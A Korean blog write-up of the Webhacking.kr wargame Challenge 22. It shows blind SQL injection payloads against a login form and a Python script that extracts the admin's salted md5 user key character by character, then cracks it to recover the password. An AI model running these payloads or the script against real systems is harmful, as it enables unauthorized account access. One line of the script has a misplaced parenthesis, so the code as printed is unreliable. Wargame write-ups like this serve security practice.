티스토리 뷰

Wargame/Webhacking.kr

Challenge 22

do9dark 2015. 7. 12. 03:41


username, password를 입력할 수 있고 login, join 기능을 이용할 수 있다.


먼저 join을 누르고 username에는 자신이 사용하는 아이디를 입력하고 패스워드는 비워두고 join을 하면 아래와 같이 Done 표시를 볼 수 있다.



back을 누르고 첫 페이지에서 join한 계정 정보를 입력하고 login 해보면 아래와 같이 hi! do9dark와 32글자의 user key가 표시된다.

user key : 0eda241fc65ccf35d9743309ac395215



32글자이기 때문에 md5 디코딩해보면 zombie라는 값을 구할 수 있다.


http://md5decoder.org/


user key에 대해서 좀 더 많은 정보를 얻기 위해서 username: a, password: a로 join하고 login해보면 아래와 같이 기존 user key와 다른 값을 얻을 수 있다.

이 값 역시 32글자로 되어 있기 때문에 md5로 디코딩해보면 azombie라는 값을 얻을 수 있다. (구글링해서 찾을 수도 있다.)



즉, join할 때 입력한 패스워드 값 + zombie 를 md5해서 user key로 표시해주는 것이라고 할 수 있다.



a + zombie 해서 md5('azombie') = 884b12461277f5c29baa1ab2479dacd8

HINT를 보면 admin으로 로그인하였을 경우에 이 문제를 풀 수 있기 때문에 admin의 user key 값을 구해야 한다.



username에 admin을 하고 password 값에 임의의 값을 넣을 경우 위와 같이 Wrong! 표시가 된다.

하지만 username에 admin'#를 입력해서 password 인증 부분을 주석 처리할 경우 아래와 같이 Wrong password! 표시가 된다.


username: admin' and '1'='1'# 

Wrong password!

username: admin' and '1'='2'#

Wrong!


username 뒷 부분은 주석 처리해주고 AND 연산자를 이용하여 username의 참, 거짓 여부에 따라서 표시되는 형태가 다르다는 점을 이용해서 Blind SQL Injection을 할 수 있다.



user key는 md5로 인코딩되어 있기 때문에 32자리이고 HINT에 나와있는 컬럼명과 앞에서 알아낸 정보를 이용해서 파이썬으로 user key를 알 수 있다.


#!/usr/bin/python
# -*- coding: utf-8 -*-
# do9dark
 
import httplib
import urllib
 
userkey = ''
for i in range(1,33):
    rst = ''
    for j in range(48,122):
        params = urllib.urlencode({'id':'admin\' and (ascii(substr(pw,'+str(i)+',1)))=('+str(j)+')#','pw':''})
        headers = {'Content-type':'application/x-www-form-urlencoded',
                    'Cookie':'PHPSESSID=225b0794pin51g388pbvp9o7k3'}
        conn=httplib.HTTPConnection("webhacking.kr")
        conn.request('POST','/challenge/bonus/bonus-2/index.php', params, headers)
 
        data = conn.getresponse().read()
        conn.close()
        if(data.find('Wrong password!'!= -1):
            rst += chr(j)
            print 'Value:', chr(j)
            userkey += rst
            break
print userkey
cs


user key : 2a93a7cea083c6e9e02c97ec5a5d715a

해당 값을 구글링해보면 rainbowzombie를 md5한 값이라는 것을 알 수 있다.

따라서 admin의 password는 rainbow이고 admin 계정으로 로그인하면 문제를 풀 수 있다.


'Wargame > Webhacking.kr' 카테고리의 다른 글

Challenge 27  (0) 2015.08.07
Challenge 26  (0) 2015.08.07
Challenge 25  (0) 2015.08.07
Challenge 24  (0) 2015.08.02
Challenge 23  (0) 2015.08.02
Challenge 21  (0) 2015.07.12
Challenge 20  (0) 2015.07.09
Challenge 19  (0) 2015.07.08
Challenge 18  (0) 2015.07.07
Challenge 17  (0) 2015.07.07
댓글
«   2024/04   »
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30
링크
공지사항
Total
Today
Yesterday